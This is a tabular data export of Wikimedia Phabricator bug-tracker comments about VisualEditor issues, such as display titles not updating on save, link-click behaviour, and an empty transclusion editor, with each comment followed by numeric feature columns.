233301,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,Yeah it's actually kind of a pain to do that. Let's update it on save.,,,1402607843,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,16.0,16.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.9473684210526314,0.8421052631578947,Yeah it's actually kind of a pain to do that. Let's update it on save.
233299,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"So now that the dependency is merged, Parsoid now recognises {{DISPLAYTITLE:stuff}} as a meta property (instead of a template), and VE provides a box on the options page to change the display title. I think what we should do is update the title (almost) as soon as it's changed.",,,1402590458,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,11.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,3.0,8.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.75,"So now that the dependency is merged, Parsoid now recognises {{DISPLAYTITLE:stuff}} as a meta property (instead of a template), and VE provides a box on the options page to change the display title. I think what we should do is update the title (almost) as soon as it's changed."
233296,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Confirmed that adding italics to an existing page doesnt display italics on save - it does display the italic title after save + refresh.

However it does display italics on save, if the DISPLAYTITLE is set for a new page. 

Tested with {{italics title}} and {{DISPLAYTITLE:''ItalicsTitle''}} on testwiki

https://test.wikipedia.org/wiki/ItalicsTitle",,,1374040482,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.046153846153846,0.6307692307692307,"Confirmed that adding italics to an existing page doesnt display italics on save - it does display the italic title after save + refresh.

However it does display italics on save, if the DISPLAYTITLE is set for a new page. 

Tested with {{italics title}} and {{DISPLAYTITLE:''ItalicsTitle''}} on testwiki

URL"
233292,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"I think this includes my problem with {{tl|italic title}}, which is at two levels:
# When I add it, I expect to see it take effect immediately - it doesn't (so I wonder whether I remembered to add it, whether I formatted it correctly, ... etc)
# Even when I save the page, it doesn't take effect until I refresh the page (same set of worries).",,,1372778502,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,7.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,1.0,0.0,0.0,2.0,1.0,12.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.2941176470588234,0.6352941176470588,"I think this includes my problem with {{tl|italic title}}, which is at two levels:
# When I add it, I expect to see it take effect immediately - it doesn't (so I wonder whether I remembered to add it, whether I formatted it correctly, ... etc)
# Even when I save the page, it doesn't take effect until I refresh the page (same set of worries)."
233288,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Created attachment 12689
Wrong title displayed in ""correct title"" template.

I think it's related, so I'm sticking this here.

After http://it.wikipedia.org/w/index.php?title=Utente:Dry_Martini/Cricca&diff=prev&oldid=59761793, the page, containing a ""Correct title"" template, would display, after being saved, the message usually generated by that template, although it disappears if you refresh. 

I tried it myself and this time I actually changed the title in the template.
The screenshot shows what happened after http://it.wikipedia.org/w/index.php?title=Utente%3ADry_Martini%2FCricca&diff=59761896&oldid=59761793 my edit.
Basically, the page retains its formerly given title, while displaying in the message the one I chose. Again, everything is ok if you refresh.
(For the record, the usual title is ""There is no Cabal"", while mine reads ""There's a Cabal, and it's using VisualEditor"".)

**Attached**: {F11086}",,,1372537609,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.5,0.0,0.5,0.0,3.0,0.5,0.0,0.5,1.0,1.5,0.5,0.0,0.0,1.0,3.5,1.0,3.5,7.0,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,8.0,1.0,2.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,12.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,6.5,2.5,12.0,3.0,1.5,8.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,8.0,7.0,2.0,0.0,4.5,0.0,8.0,0.0,0.5,1.0,0.5,2.0,0.0,0.0,0.0,3.740963855421687,0.6626506024096386,"Created attachment 12689
Wrong title displayed in ""correct title"" template.

I think it's related, so I'm sticking this here.

After URL the page, containing a ""Correct title"" template, would display, after being saved, the message usually generated by that template, although it disappears if you refresh. 

I tried it myself and this time I actually changed the title in the template.
The screenshot shows what happened after URL my edit.
Basically, the page retains its formerly given title, while displaying in the message the one I chose. Again, everything is ok if you refresh.
(For the record, the usual title is ""There is no Cabal"", while mine reads ""There's a Cabal, and it's using VisualEditor"".)

**Attached**: {F11086}"
52321,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39.
Using Middle-mouse-click on links does not work in either browser
Using Right-mouse-click to show the context menu with ""Open link in new tab/window"" does work in both browsers.

(Prior description had different results for Firefox 22.
Ed notes below, that this is all browser-specific behaviour, and rather than overriding that, we should just solve {T56759} (Done))

See also: {T52741}",Medium,50.0,1372367280,1438983806.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_description,declined,True,c1,2,False,False,False,-1,,1.0,0.0,0.0,0.0,1.5,5.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,8.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.5,1.5,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,8.5,6.0,0.0,2.5,0.0,1.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,3.661290322580645,0.717741935483871,"Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39.
Using Middle-mouse-click on links does not work in either browser
Using Right-mouse-click to show the context menu with ""Open link in new tab/window"" does work in both browsers.

(Prior description had different results for Firefox 22.
Ed notes below, that this is all browser-specific behaviour, and rather than overriding that, we should just solve {T56759} (Done))

See also: {T52741}"
504444,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour isn't desireable.,,,1438990382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.9767441860465116,0.9069767441860465,The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour isn't desireable.
504373,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour it's desireable.,,,1438983806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.953488372093023,0.8837209302325582,The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour it's desireable.
504282,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Note/update: Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39. 
I will update the description to clarify.",,,1438974040,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7333333333333334,0.7555555555555555,"Note/update: Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39. 
I will update the description to clarify."
232007,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Middle click/ctrl click on *content editable* links in browser specific behaviour, and isn't necessarily going to be the same as for read-only links. Rather than override the browser's default behaviour we will provide a consistent way to follow links with bug 54759.

Image nodes are protected from editing with highlights so we're not going to able to provide the normal context menu. I can't see a compelling use case, but such functionality may be available in the image dialog in the future.

Suggest wontfix for this.",,,1404214069,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,1.0,2.5,8.0,1.5,0.0,0.0,0.0,3.5,2.5,0.0,0.5,0.0,2.5,0.0,3.5,11.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,5.5,3.0,4.0,1.0,1.5,6.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,2.5,11.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,4.18976777939042,0.8477866473149492,"Middle click/ctrl click on *content editable* links in browser specific behaviour, and isn't necessarily going to be the same as for read-only links. Rather than override the browser's default behaviour we will provide a consistent way to follow links with bug 54759.

Image nodes are protected from editing with highlights so we're not going to able to provide the normal context menu. I can't see a compelling use case, but such functionality may be available in the image dialog in the future.

Suggest wontfix for this."
232001,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",*** Bug 64974 has been marked as a duplicate of this bug. ***,,,1402552906,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 64974 has been marked as a duplicate of this bug. ***
231996,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","The mouse cursor not changing is bug 50741 

CTRL+click / right click and open in a new window/tab does work for internal and external links. It does not work for images.",,,1378727693,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.888888888888889,0.8055555555555556,"The mouse cursor not changing is bug 50741 

CTRL+click / right click and open in a new window/tab does work for internal and external links. It does not work for images."
231990,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Some more details: 

* Middle mouse click on internal text links: OK (but mouse cursor wrong)

* Middle mouse click on images: NOT OK
* Middle mouse click on external links: NOT OK",,,1372797445,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.5714285714285716,0.5476190476190477,"Some more details: 

* Middle mouse click on internal text links: OK (but mouse cursor wrong)

* Middle mouse click on images: NOT OK
* Middle mouse click on external links: NOT OK"
52289,VisualEditor: VE won't load on empty page containing only a magic word,"Try and edit this version of my sandbox http://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox&oldid=59706098 which is empty except for a __NOINDEX__ ; VE just keeps loading and won't allow to edit. Happens at least with Vector on Chrome and Monobook on FF.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372344120,1373905170.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-yelwyuxn7ull4zzjha5n,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,18.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,13.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,3.661290322580645,0.7258064516129032,"Try and edit this version of my sandbox URL which is empty except for a __NOINDEX__ ; VE just keeps loading and won't allow to edit. Happens at least with Vector on Chrome and Monobook on FF.

--------------------------
**Version**: unspecified
**Severity**: normal"
255413,VisualEditor: VE won't load on empty page containing only a magic word,"Fixed in the above commit, which we will push out today.",,,1373905170,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,"Fixed in the above commit, which we will push out today."
255405,VisualEditor: VE won't load on empty page containing only a magic word,"Change 73745 merged by jenkins-bot:
Extend empty document check to check for meta-only data

https://gerrit.wikimedia.org/r/73745",,,1373905132,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"Change 73745 merged by jenkins-bot:
Extend empty document check to check for meta-only data

GERRIT_URL"
255399,VisualEditor: VE won't load on empty page containing only a magic word,"Change 73745 had a related patch set uploaded by Esanders:
Extend empty document check to check for meta-only data

https://gerrit.wikimedia.org/r/73745",,,1373886485,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.36,0.96,"Change 73745 had a related patch set uploaded by Esanders:
Extend empty document check to check for meta-only data

GERRIT_URL"
255392,VisualEditor: VE won't load on empty page containing only a magic word,This happens because the converter generates a document with only an alienMeta (the magic word) and an empty internal list. The logic for generating an empty paragraph to prevent an empty document doesn't kick in if the document is non-empty from the converter's perspective but only contains meta items.,,,1372349806,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,16.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,4.0,0.0,0.0,2.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,4.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,4.491228070175438,0.7543859649122807,This happens because the converter generates a document with only an alienMeta (the magic word) and an empty internal list. The logic for generating an empty paragraph to prevent an empty document doesn't kick in if the document is non-empty from the converter's perspective but only contains meta items.
52281,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","When the transclusion editor is emptied out (e.g. by removing all the items), it should not just be blank. This looks broken and is confusing to the user (should I wait for something to appear? is it stuffed/errored out?)

There needs to be some kind of textual label in the empty transclusion editor, that makes two points:

1. that the user can click [+] to add something to the transclusion
2. that by clicking ""apply changes"", it will remove the transclusion

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372335660,1427406351.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_description,resolved,True,c1,2,False,False,False,-1,,1.0,1.5,0.0,1.0,0.5,3.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,8.5,1.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.5,0.0,2.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.0,1.0,7.5,1.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,2.5,3.5,2.0,0.5,6.0,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,2.5,8.5,0.0,1.0,1.5,0.0,2.5,0.0,1.5,0.0,0.0,1.5,0.0,0.0,3.5,3.8191256830601095,0.7019125683060109,"When the transclusion editor is emptied out (e.g. by removing all the items), it should not just be blank. This looks broken and is confusing to the user (should I wait for something to appear? is it stuffed/errored out?)

There needs to be some kind of textual label in the empty transclusion editor, that makes two points:

1. that the user can click [+] to add something to the transclusion
2. that by clicking ""apply changes"", it will remove the transclusion

--------------------------
**Version**: unspecified
**Severity**: enhancement"
433705,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Change 198131 merged by jenkins-bot:
Fixed the empty Transclusion Box problem

[[https://gerrit.wikimedia.org/r/198131]]",,,1427409486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,90,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9047619047619048,"Change 198131 merged by jenkins-bot:
Fixed the empty Transclusion Box problem

[[GERRIT_URL]]"
433660,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Change 198131 had a related patch set uploaded (by Jforrester):
Fixed the empty Transclusion Box problem

[[https://gerrit.wikimedia.org/r/198131]]
",,,1427406328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,90,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.115384615384615,0.8846153846153846,"Change 198131 had a related patch set uploaded (by Jforrester):
Fixed the empty Transclusion Box problem

